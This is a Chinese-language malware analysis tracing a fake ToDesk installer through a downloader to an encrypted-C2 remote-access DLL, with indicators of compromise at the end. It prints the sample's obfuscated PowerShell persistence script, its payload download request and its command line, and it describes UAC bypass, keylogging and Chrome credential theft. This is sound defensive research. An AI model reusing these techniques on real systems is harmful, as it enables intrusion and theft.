夜雨聆风学习资料网

ARTICLE · 1272184

从伪装安装包到加密 C2 通信:某利用ECDH协商密钥的远控样本分析

从伪装安装包到加密 C2 通信:某利用ECDH协商密钥的远控样本分析
概述

这次分析的起点,是一个从仿冒的某远程工具站点 todeskek.com.cn 获取的安装包。在虚拟机中运行之后,虚机系统会“自动”关机,因此出于好奇开始尝试对该样本进行分析,页面对应的实际下载地址位于阿里云 OSS:

hxxps://todesk-64.oss-cn-hongkong.aliyuncs[.]com/ToDesk_x64_Installer.zip

截至目前,常用的威胁情报平台中只发现腾讯威胁情报中心对下载域名进行了标记:

压缩包中的 ToDesk_x64_Installer.exe 约 4.83 MB。运行后,该程序会释放并打开真正的 ToDesk 程序用以迷惑终端用户,同时写入PE文件 wincfg80fa 到%LOCALAPPDATA%\WinCfg\ 目录中并启动,后者再从14.128.45[.]5的8080端口下载一个伪装成.ico后缀名的DLL文件,在自身进程中映射执行,最终与4433端口建立远控会话。

本文将其执行过程分成两个主要阶段:第一阶段完成解压、释放、远程下载和内存加载;第二阶段是加载远程DLL后的提权执行、持久化、远控相关通讯。通信部分也有两套不同的保护方式:8080 下载的 DLL 使用内置 XOR 密钥解码;4433 上的远控业务则通过临时 ECDH 密钥交换、HKDF+AES 加密传输,根据交互报文中的 EB3 特征,将这套协议简称为 EB3。

本样本值得一看的亮点是,之前少见有使用ECDH算法协商密钥进行通信的,这种方式保证每次运行通信使用的密钥是在内存中新生成的,即使后续获取了全部流量和样本相关产物,也无法对过去的流量进行解密。

样本沙箱运行结果:https://app.any.run/tasks/54b05ce5-9afe-4f09-9c1f-b8ecbc7baec8,文章提到的绝大多数材料可以通过该链接获取。

  • 投递流程

  • 分析对象

对象
HASH(SHA256)
本地文件/角色
外层程序
e94995ac65b45d9ce26d85c1fadb667baab42309b073a3a45874b708c5c6a97f
压缩包内ToDesk_x64_Installer.exe,运行后解密出内层程序
内层程序
d33448816b2a7ad46e62e72308a21bd975c44de9a55eff14c39d52b8a8ea383d
is_随机值.exe,负责一阶段后续释放并拉起远控程序,由于释放时被追加随机字段
真实 ToDesk
正常程序
wincfg 本体
9a6cdb97a0911f37fe7f03528cf836671ee3667063712fc4bb0fe2ee02490fc7
下载并映射加载远控 DLL,hash不固定
远控 DLL
a3632da6e2ad2070650da0b060e5003c8b9034aa88d332baea8299b62cede577
负责实际远控相关逻辑与通讯

Stage1:自定义包装、双分支释放与内存加载

  • 读取自身 overlay,解出临时程序

DIE 将外层识别为 PE64,并提示存在较大的 overlay。其起点为 0x6E800,大小 0x465A63,占据了文件的大部分空间。

外层主逻辑位于 0x140001470。它取得自身路径,以只读方式打开文件,从尾部读取 4 字节 XOR 密钥和 4 字节内层长度,再反推内层起点:
[外层 PE][加密的内层程序][XOR key: 4][inner length: 4]          ↑ 0x6E800
字段
本样本的值
XOR 密钥原始字节
7A 9A A3 CB
内层长度
0x465A5B
内层文件偏移
0x6E800
临时文件格式
%TEMP%\is_%08x.exe

这一层的还原可以概括为:

key = outer[-8:-4]length = int.from_bytes(outer[-4:], ”little”)start = len(outer) - 8 - lengthinner = bytes(b ^ key[i & 3] for i, b in enumerate(outer[start:-8]))

程序按块读取、异或并写入临时文件,在 0x14000196A 调用 CreateProcessW,使用 CREATE_NO_WINDOW 启动内层程序。之后等待最多 300 秒,并尝试删除这个临时文件。

  • 释放正常 ToDesk 与恶意 stub.exe

内层程序再次读取自身尾部。文件偏移 0x465A00 处保存了 87 字节清单,其中前 4 字节为密钥 43 69 10 25,其余字段经 XOR 还原后给出目录名、成员数量和各成员位置。

清单中的目录名为 b2e81ca5f,成员数为 2:

索引
成员名称
内层文件偏移
大小
标志/处理方式
0
ToDesk_x64_Installer.exe0x6D600
4,131,840
0x83
,直接复制
1
stub.exe0x45E200
30,720
0x01
,XOR 解密后进入 WinCfg 释放分支

成员解密时,密钥索引按成员在内层文件中的绝对偏移对齐:

plain[i] = inner[member.offset + i] XOR key[(member.offset + i) & 3]

真正的 ToDesk 程序被写入 %APPDATA%\b2e81ca5f\ToDesk_x64_Installer.exe,随后通过 ShellExecuteW 启动,使这次运行操作在用户眼中保持正常。

恶意程序的释放分支位于内层 RVA 0x2EB0。函数读取 LOCALAPPDATA,创建 WinCfg 子目录,再逐字符拼 wincfg和固定后缀80fa,最终输出路径为:

%LOCALAPPDATA%\WinCfg\wincfg80fa

内层 RVA 0x3520 负责读取成员、XOR 解码和写文件。PE 本体写完后,还会追加 16 字节尾部:

0x0000—0x77FF  stub.exe 的完整 PE,本体 30,720 字节0x7800—0x7807  运行时生成的 8 字节数据0x7808—0x780B  00 78 00 00,即本体长度 0x78000x780C—0x780F  45 42 53 31,即 ”EBS1”

因此,实际落盘文件为 30,736 字节。前 8 字节运行时尾部会变化,也即落盘文件的哈希并不固定。随后利用CreateProcessW 将该无扩展名路径明确作为 lpApplicationName 传入,作为PE执行。

  • wincfg:下载伪装DLL并利用映射加载

wincfg 主逻辑位于 0x140001B00。它在运行后先沿 PEB 模块链查找模块,通过哈希解析 API,再使用静态 XOR 密钥还原配置。

配置给出下载端点 14.128.45[.]5:8080、路径 /favicon387.ico,以及后续远控端点 14.128.45[.]5:4433。

HTTP 请求很短:

GET /favicon387.ico HTTP/1.1Host: 14.128.45.5

服务端返回 HTTP 200,Content-Type 为 image/x-icon,Content-Length 为 1931776。响应体按内置 256 字节密钥循环 XOR 后,出现完整的 MZ/PE 结构:

dll[i] = response_body[i] XOR key[i & 0xFF]

接下来,wincfg 在本进程分配内存,复制 PE 头和节区,处理重定位、导入和节权限,并注册 x64 异常展开表。它调用 DLL 入口,随后查找 load 导出,传入:

p1=14.128.45.5|o1=4433|hb=60|fz=TD|lk=1|

其中 p1/o1 为远控主机和端口,hb=60 为心跳间隔秒数,fz=TD 为注册分组。lk=1 则在基础部署之后进一步启用本地提权与计划任务交接路径。

Stage2.1:DLL 接管远控会话与业务

由于这阶段在沙箱中得到的效果十分直观且完整,因此下文主要以沙箱中的产物为主辅助说明该阶段工作流程:

  • load 导出与模块分工

从 HTTP 响应还原的文件是一个 1,931,776 字节的 x64 DLL,它的主要执行链为:

load                                      0x18000DD90  → 解析配置、设置运行环境  → NextStage_Main                        0x180001D20      → 多副本部署与计划任务               0x1800D0410      → lk=1 时尝试提权并交接              0x1800CD9F0      → 建立远控连接                       0x18001F570  → EB3_MainSessionLoop                   0x180013680      → ECDH 握手                         0x1800072E0      → 主机注册、心跳      → EB3_ReceiveRecord                 0x180012AC0      → EB3_DispatchCommand               0x18000A270      → 执行本地功能,再通过 EB3_SendRecord 回传

wincfg 提供下载和 PE 加载,DLL 同时包含密码实现、命令分发和远控功能。这种拆分使下载器只有约 30 KiB,而体积更大、功能更多的业务模块由终端远程获取,作者也可以随时替换远端 DLL,原来的投递与加载程序在下次运行时能够获取到最新的执行载荷。

  • 获取客户端标识

客户端标识的处理位于 0x18000E070。它将 MachineGuid 去除分隔符、转成小写,构造 %TEMP%\eb3_<32位MachineGuid>.dat。文件内保存的是另行生成并复用的 32 个十六进制字符,本次沙箱中该文件名为 eb3_bb926e54e3ca40fdae902764341e7792.dat,内容为:

ab4576bb2937c79dd4c4b3cf692ba63c

文件名中的 32 位后缀来自规范化后的 MachineGuid,文件内容来自 16 字节随机数据的十六进制编码。构造注册消息的 0x1800054A0 函数将这个标识放在正文最前面的 32 字节,随后追加用户、计算机和系统等信息,相同用户环境下的后续 wincfg 实例因而可以复用同一客户端身份。

  • 多目录副本文件释放

DLL 主函数在建立远控连接之前,先调用 0x1800D0410 完成本地部署。复制函数 0x1800CD3D0 先读取当前 EXE 的 PE 本体,写入以下目标路径加 .eb 的临时文件,重新附加 16 字节 EBS1 尾部,再替换目标文件:

%LOCALAPPDATA%\WinCfg\wincfg80fa%LOCALAPPDATA%\Programs\wincfg80fa%LOCALAPPDATA%\Programs\Common\wincfg80fa

替换函数 0x1800CE8E0 会先把原文件改名为 .ebx,换入新文件后删除旧副本,并设置隐藏、系统属性。

因此,沙箱文件记录的事件中,PID 9200 在约 28 秒开始写出 .eb/.ebx 文件,并在三个位置准备下载器副本: wincfg80fa.eb、wincfg80fa.ebx 和无扩展名文件,是同一个下载器的部署与替换痕迹。
0x1800D00B0 还会将 EXE 本体编码保存到 HKCU\Software\wincfg 下,以任务名作为二进制值名,为后续恢复保留备份。
  • 提权并创建高权限计划任务与进程交接

在完成前期准备后,该 DLL 会释放一个动态生成的 PowerShell 脚本,并借助 UAC bypass技术以高权限执行该脚本,从而完成计划任务持久化部署与新旧进程的控制权交接。

负责部署持久化的 PowerShell 脚本由 DLL 内部函数 0x1800CD9F0 触发生成,文件名为 ewincfg80fa.ps1 。脚本主体由硬编码在 DLL 中的三段数据模板拼接而成,各部分原始数据均采用位于 0x1801ACAB0 处的 32 字节密钥进行 XOR 异或加密:

组成部分
DLL 内数据地址
作用
脚本前缀
0x1801ABB78
设置 $ErrorActionPreference='Stop',确保遇到错误时立即终止
任务主体模板
0x1801AB640
定义三个执行动作、触发器与任务设置,并注册计划任务
交接尾部模板
0x1801ABBA0
写入注册表 ha 同步标记、延时启动任务并自删除脚本

解密完成后,生成函数 0x1800D25E0 会将模板中的占位符替换为当前环境的实际值,随后交由外层函数写入文件。结合沙箱运行记录来看,在约 28.350 秒处,进程(PID 9200)在临时目录下释放了 %TEMP%\ewincfg80fa.ps1:

$ErrorActionPreference='Stop';$x=('New-ScheduledTas'+'kAction');$y=('New-ScheduledTaskTr'+'igger');$z=('New-ScheduledTaskSett'+'ingsSet');$w=('Register-Schedul'+'edTask');$a1=& $x -Execute 'C:\Users\admin\AppData\Local\Programs\wincfg80fa';$a2=& $x -Execute 'C:\Users\admin\AppData\Local\WinCfg\wincfg80fa';$a3=& $x -Execute 'C:\Users\admin\AppData\Local\Programs\Common\wincfg80fa';$t1=& $y -AtLogon;$t2=& $y -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1);$s=& $z -MultipleInstances IgnoreNew -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Seconds 0);& $w -TaskName 'wincfg80fa' -Action $a1,$a2,$a3 -Trigger @($t1,$t2) -Settings $s -RunLevel Highest -Force;$p=('New-ItemPropert'+'y');& $p -Path 'HKCU:\Software\wincfg' -Name 'ha' -Value 1 -PropertyType DWord -Force;Start-Sleep -Seconds 4;$q=('Start-ScheduledTas'+'k');& $q -TaskName 'wincfg80fa' -ErrorAction SilentlyContinue;Remove-Item -LiteralPath 'C:\Users\admin\AppData\Local\Temp\ewincfg80fa.ps1' -Force -ErrorAction SilentlyContinue
项目
实际设置
作用
任务名
wincfg80fa
执行动作
依次指向 Programs、WinCfg、Programs\Common 下的三个副本
登录触发
AtLogon
用户登录时自动启动,保障重启后的持久化
定时触发
当前时间 +1 分钟后触发,之后每 1 分钟重复一次
进程守护
运行级别
RunLevel Highest
以最高权限运行,将绕过 UAC 获得的管理员权限固化下来
多实例策略
MultipleInstances IgnoreNew
若当前已有实例运行,则忽略每分钟一次的新触发,避免进程泛滥
容错与时限
StartWhenAvailable / ExecutionTimeLimit 0
错过触发时尽快再次运行
同步标记写入
HKCU\Software\wincfg
 下 ha=1,DWORD
向原低权限进程传递信号
接管与收尾
等待 4 秒后主动启动 wincfg80fa 任务并删除自身 ewincfg80fa.ps1
主动拉起高权限任务实例完成当次交接,并清除落盘痕迹

由于注册带有 -RunLevel Highest 属性的计划任务需要管理员权限,函数 0x1800CD9F0 在执行脚本前会先进行环境评估:

  1. 检查当前进程访问令牌(Token)是否已提升;
  2. 检查当前账户是否隶属于 Administrators 管理员组;
  3. 遍历检查部分安全软件进程,并校验重试时间间隔。

当判定处于“管理员组但未提权”状态且环境安全时,样本会构造如下命令行,交由内置的本地提权模块执行:

 cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\admin\AppData\Local\Temp\ewincfg80fa.ps1"

提权核心机制:

  1. 获取高权限系统进程句柄:提权辅助路径首先启动普通进程 notepad.exe 以获取内核调试对象(DebugObject),随后触发自动提权(Auto-Elevate)白名单程序 dccw.exe。借助调试对象查询与句柄复制,恶意 DLL 成功拿到高完整性级别进程 dccw.exe 的高权限句柄。(代码中还硬编码了 computerdefaults.exe、cleanmgr.exe、fodhelper.exe 等多个白名单系统组件作为备选目标。)
  2. 父进程属性伪造(PPID Spoofing):DLL 在 0x1800D70A0 处调用 UpdateProcThreadAttribute,利用 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性将刚获取的 dccw.exe 句柄指定为待创建进程的父进程。
  3. 权限继承与链式启动:随后,DLL 在 0x1800D70F6 处调用 CreateProcessW 启动 cmd.exe。由于指定了父进程属性,cmd.exe 直接继承了 dccw.exe 的高权限访问令牌,并接着拉起 powershell.exe 执行上述脚本。

这一底层调用链也在沙箱监控的进程树得到了印证:原进程 wincfg 先后启动了 notepad.exe 与 dccw.exe,而命令执行则呈现出 dccw.exe ➔ cmd.exe ➔ powershell.exe 的父子层级关系:

为了确保旧进程(低权限)与新进程(高权限计划任务实例)平滑交接,样本利用注册表键 HKCU\Software\wincfg 下的 ha 值作为跨进程同步信号:
  1. 初始化清理:原 wincfg 进程在启动提权辅助路径之前,会先删除注册表中可能残留的旧 ha 键值。
  2. 轮询等待:原进程通过函数 0x1800CD960 循环读取 ha 的 DWORD 值,每 200 毫秒 检查一次,最多轮询 40 次(即最长等待 8 秒)。
  3. 信号写入与旧进程退出:高权限 PowerShell 脚本成功注册计划任务后,立即写入 ha = 1。原进程捕获到 ha = 1 后,判定持久化部署完成,随即由主函数在 0x180002166 处调用 ExitProcess(0) 主动退出。
  4. 延时接管:脚本在写入 ha = 1 后,特意执行了 Start-Sleep -Seconds 4(等待 4 秒),之后才调用 Start-ScheduledTask 主动启动任务。

Stage2.2:通信协议与会话密钥

该样本在 4433 端口上使用了一套自定义的二进制 TCP 协议与 C2 服务端通信。由于报文中包含特征 EB3\x01,下文将其简称为EB3 协议,该协议结合了ECDH密钥交换与AES-GCM 认证加密,不同于常见的硬编码密钥或者传输密钥的远控木马。

  • 报文结构

EB3 协议的每条报文均以固定24 字节头部(Header)开头。结合逆向代码分析,头部各字段定义如下::

偏移
长度
含义
0x00
4
魔数 45 42 33 01,即 EB3\x01
0x04
1
协议版本,本样本通讯为 03
0x05
1
加密标志,bit 0 表示加密
0x06
1
密码标识,本次加密记录为 01
0x07
1
保留,00
0x08
4
消息序号,小端
0x0C
4
明文正文长度 N,小端
0x10
2
消息类型,小端
0x12
6
保留,均为零

根据头部 0x05 处的加密标志,报文载荷呈现两种封装形态:

  • 明文阶段(握手期):Header[24] || Body[N]
  • 加密阶段(会话期):Header[24] || Nonce[12] || Ciphertext[N] || Tag[16]

在加密会话中,样本采用AES-GCM模式同时保证机密性与完整性:

  1. Nonce 构造(12 字节):由前 8 字节的 0x00 加上头部消息序号(转为 4 字节大端序)拼接而成。
  2. 附加认证数据(AAD):完整的 24 字节头部直接作为 GCM 模式的 AAD 参与校验。这意味着中间人一旦篡改头部任何字段(如序号、长度或消息类型),解密时的 Tag[16] 校验就会直接失败。
  • ECDH-P256 密钥交换与流量解密限制

样本的密码学组件在函数 0x18000DCE0 中完成初始化,底层完全依赖 Windows 原生框架,加载了 ECDH_P256、AES(GCM 模式)以及 SHA256(HMAC 模式)算法提供程序。

三次握手与公钥交换流程(主逻辑位于0x1800072E0):

  1. Client Hello:客户端首先发送一段 6 字节的明文探测载荷 03 00 07 00 00 00。
  2. 客户端发送临时公钥(Msg Type 0x0A):函数 0x1800078A0 调用 BCryptGenerateKeyPair 在本地动态生成一对临时的 P-256 椭圆曲线密钥对,随后仅导出 65 字节的未压缩公钥发送给服务端:   - 格式:0x04(未压缩标识, 1B) || X 坐标(32B) || Y 坐标(32B)
  3. 服务端响应公钥与盐值(Msg Type 0x0B):服务端同样生成临时密钥对,并将自身的 65 字节公钥连同 16 字节随机盐值(Salt)一并返回,总长 81 字节:   - 格式:Server_Public_Key[65] || Salt[16]

拿到 ECDH 协商出的原始共享机密后,样本通过标准的HKDF-SHA256算法派生出最终的 32 字节会话密钥(AES-256)。

  • 密钥的保存与清理

在完成对称密钥对象的创建后,样本会立即抹除栈上的敏感中间数据,仅保留 CNG 句柄供后续调用,这样可以一定程度干扰动态调试并且做到每次运行的密钥不固定,但是还是可以通过进程的堆内存中获取,不过只对当前运行的进程流量有效。

  • 控制命令

在建立连接之后,dll中有统一的业务分发入口0x18000A270,根据不同的控制码进入不同的业务逻辑:

对各功能梳理后,得到部分定义的部分消息类型如下:
类型
代码中的用途
0x01
HELLO
0x0A
客户端公钥
0x0B
服务端公钥与 salt
0x02
主机注册
0x03
心跳
0x04
状态或业务响应
0x06
数据块,包括屏幕帧和文件块
0x81
通用控制命令
...

在代码中,功能模块内部还会有自己的控制码,例如0x81 是通用命令外层,正文解密后数据的首字节才决定具体功能, 0x30 进入屏幕控制,0x31 进入输入控制,0x32 进入键盘记录控制;0x83 是电源与卸载类别命令外层,内层0x01进入注销,0x02进入重启,0x03进入关机,0x04进入卸载、退出流程。

  • 流量对照

以 ANY.RUN 沙箱记录的流量包为与本地虚拟机执行捕获的流量作对照。沙箱运行约 300 秒,后者约 45 秒,以沙箱结果为例,前两条 8080 会话重复获取了同一个载荷,也印证了从反编译中发现的程序首次运行后,会为了高权限运行重新拉起一次自身程序,同时会再次请求一次dll,随后的 4433 会话才进入 DLL 的远控业务。

两份成功抓包在前半段呈现相同顺序:HELLO → 客户端公钥 → 服务端公钥与 salt → 加密注册 → 控制指令 → 状态响应 → 大量数据上行。
事件
ANY.RUN,stream 65
本地虚拟机
客户端
192.168.100.11:50419192.168.85.179:49761
服务端
14.128.45.5:443314.128.45.5:4433
HELLO,type 0x01
45.873895 秒,帧 16411
23.076749 秒,帧 3710
客户端公钥,type 0x0A
45.874198 秒,帧 16412
23.077409 秒,帧 3712
服务端公钥,type 0x0B
46.086000 秒,帧 16415
23.236337 秒,帧 3714
注册,type 0x02
46.146900 秒,175 字节
23.958236 秒,180 字节
首次控制,type 0x81
50.606498 秒,5 字节
28.731227 秒,5 字节
状态响应,type 0x04
50.620230 秒,27 字节
28.750836 秒,27 字节
type 0x06 数据开始
50.690523 秒
28.838664 秒

两个会话都是收到同样长度的0x81控制指令后,迅速返回一条状态记录,再进入持续的大量 type 0x06 上传。结合 DLL 中完整的 GDI/DXGI 屏幕采集、WIC 编码和发送路径,这段交互指向屏幕回传。ANY.RUN 中该数据段持续到 88.047131 秒,虚拟机中持续到 41.989846 秒。

沙箱中的终端分别在 106、166、226和286秒发送 type 0x03 心跳,正文长度为 10 字节。约 60 秒的间隔与 hb=60 配置吻合。本地虚拟机运行样本后不足一分钟就“自动”关机,没有到下一次心跳时间,根据抓包发现其在约 41.941 秒收到一条特殊指令:

根据之前的说明,0x83指向的是电源类控制流程,虽然没有解密出内层控制码,但很明显是下发的关机指令。

DLL 功能详细分析

  • 命令分发概览

0x18000A270 是业务分析的主要入口。外层记录解密后,它根据消息类型和正文子命令,进入文件、桌面、进程、网络、凭据、持久化和账户等模块。

下表按代码能力列举部分重点功能:

类别
入口或关键函数
实现要点
主机画像
0x1800054A0
计算机、用户、系统、权限、前台窗口、空闲时间与软件痕迹
命令执行
0x1800079E0
 → 0x180013090
隐藏启动 cmd.exe /c,通过管道读取标准输出和错误输出
文件管理与传输
子命令 0x20—0x2A
目录/磁盘枚举、删除、重命名、建目录、读写传输、打开文件与取消传输
屏幕采集
0x180014AA0
、0x180017B80
屏幕控制、GDI/DXGI 采集、WIC 编码及加密回传
远程输入
0x180015CE0
处理键盘、鼠标输入并调用 SendInput
输入阻断与屏幕遮挡
屏幕控制处理分支
BlockInput
 及遮挡窗口创建、销毁
键盘与剪贴板记录
0x18000D950
、0x18000DB60、0x18000C320
Raw Input 键盘接收、按键转译、复制/剪切文本记录
窗口控制
子命令 0x33,0x180020290
枚举、显示/隐藏、置前、调整及关闭窗口
进程与线程管理
子命令 0x40
进程枚举、终止,按目标进程挂起/恢复线程
连接与端口枚举
子命令 0x41,0x18001C260
TCP/UDP 表、端口、PID 与进程名关联
网络阻断管理
子命令 0x42,0x180019DE0
通过防火墙规则及主机路由阻断、恢复目标通信
启动部署与持久化管理
0x1800D0410
、0x1800CD9F0,另有子命令 0x43
本地多副本、任务注册与提权交接;远程枚举/管理入口
内部白名单
子命令 0x44,0x18001EF60
读写 Software\EmberBone\Whitelist 中的列表
浏览器登录数据
子命令 0x46,0x180004C00
读取 Chrome 登录数据库,处理浏览器密钥并尝试解密保存的凭据
浏览器数据清理
0x180002FF0
处理 Chrome、Edge、Baidu 的登录数据及 Local Storage
本地账户管理
子命令 0x47,0x18001E010
创建、分组、隐藏和删除本地账户
会话与锁屏管理
子命令 0x49,0x18001AFD0
WTS 会话查询、桌面与登录界面相关操作
电源与卸载
子命令  0x83
注销、重启、关机、卸载与自删除
  • 命令执行与文件数据回传

命令执行函数 0x180013090 创建匿名管道,隐藏启动 cmd.exe /c,将输出和错误句柄接入管道,再通过 PeekNamedPipe/ReadFile 读取结果。单次输出上限为 8,192 字节,执行等待约 15 秒,超时路径会终止子进程。

文件传输则有独立的任务状态。读取目标文件后,0x180019A70 按 16 KiB 块构造 0x24 子类型,带上传输编号和块序号,使用 type 0x06 回传;完成时再发送 type 0x07。

  • 键盘记录与剪贴板文本

键盘模块创建名为 EB3KlSink 的隐藏窗口,注册键盘设备,并设置 RIDEV_INPUTSINK,从窗口消息中接收后台输入。

窗口过程 0x18000DB60 处理 WM_INPUT,通过 GetRawInputData 取得键盘数据,交给 0x18000CC60 处理修饰键、功能键和字符转换。普通字符会结合键盘布局进行转译,特殊按键则保存为 [BKSP]、[ESC]、[F…] 等文本。

该模块还注册剪贴板监听。在处理复制、剪切时,0x18000C320 调用 OpenClipboard/GetClipboardData,读取 Unicode 或 ANSI 文本,并将其连同 CTRL+C/CTRL+X 标记写入记录缓冲区。

记录使用 64 KiB 环形缓冲,按时间、缓冲状态或控制请求刷新,再作为 type 0x04、正文前缀 32 01 回传。发送失败时,数据按静态 XOR 混淆后暂存到:

%TEMP%\eb3_kl.dat

会话注册后的正常执行路径会启动键盘记录模块,服务端也可以通过 0x32 子命令控制其状态。

  • Chrome 登录数据与内嵌辅助模块

代码中存在两个浏览器凭据窃取模块,其中之一是读取 Chrome 的 Local State 和 Default\Login Data,从 JSON 中提取 encrypted_key 与 app_bound_encrypted_key,再按不同封装分支处理密钥。

随后根据密码字段的 v10/v20 前缀选择对应密钥,将AES解密后的网址、用户名、密码组织成以零字节分隔的结果回传。

此外,0x180002FF0 还包含浏览器数据清理功能,目标覆盖 Chrome、Edge 和 Baidu 的部分登录数据与本地存储目录。

  • 网络管理、隐藏账户与持久化配置

代码中通过 GetExtendedTcpTable/GetExtendedUdpTable 关联连接、端口和进程,还存在路径调用系统防火墙与路由工具,使用 C2_Block_P%u 等规则标记阻断或恢复通信,便于远端管理目标主机的网络状态。

账户管理函数动态解析 netapi32.dll 中的 NetUserAdd、NetLocalGroupAddMembers 和 NetUserDel。创建账户后,可将其加入 Administrators 与 Remote Desktop Users,并在下面的注册表位置为用户名写入值 0,以隐藏登录界面中的账户条目:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

持久化管理既可以枚举 Run 项和计划任务,也会将自定义配置混淆保存到:

HKCU\Software\Classes\CLSID\{EB3PERSIST-9F2C4D8A}    P    REG_BINARY

IOCs

  • 域名、地址与网络路径

IOC
用途
todeskek[.]com[.]cn
样本获取站点
todesk-64.oss-cn-hongkong.aliyuncs[.]com
ZIP 所在 OSS 主机
hxxps://todesk-64.oss-cn-hongkong.aliyuncs[.]com/ToDesk_x64_Installer.zip
用户提供的实际 ZIP 下载地址
14.128.45[.]5:8080
后续 DLL 下载端点
hxxp://14.128.45[.]5:8080/favicon387.ico
XOR 编码 DLL 路径
14.128.45[.]5:4433
远控C2
e94995ac65b45d9ce26d85c1fadb667baab42309b073a3a45874b708c5c6a97f
盗版ToDesk_x64_Installer.exe
9a6cdb97a0911f37fe7f03528cf836671ee3667063712fc4bb0fe2ee02490fc7
wincfg80fa
  • 文件与配置痕迹

IOC
作用
%TEMP%\is_%08x.exe
外层释放的临时内层程序,名称格式
%LOCALAPPDATA%\WinCfg\wincfg80fa
恶意下载加载器
%LOCALAPPDATA%\Programs\wincfg80fa
计划任务使用的下载器副本
%LOCALAPPDATA%\Programs\Common\wincfg80fa
计划任务使用的下载器副本
计划任务 wincfg80fa
登录及分钟级触发、最高权限、三个执行动作
HKCU\Software\wincfg
任务注册后的相关标记
%TEMP%\eb3_<32位MachineGuid>.dat
客户端标识缓存
%TEMP%\eb_dbg_lock.log
样本主动追加的调试日志

相关学习资料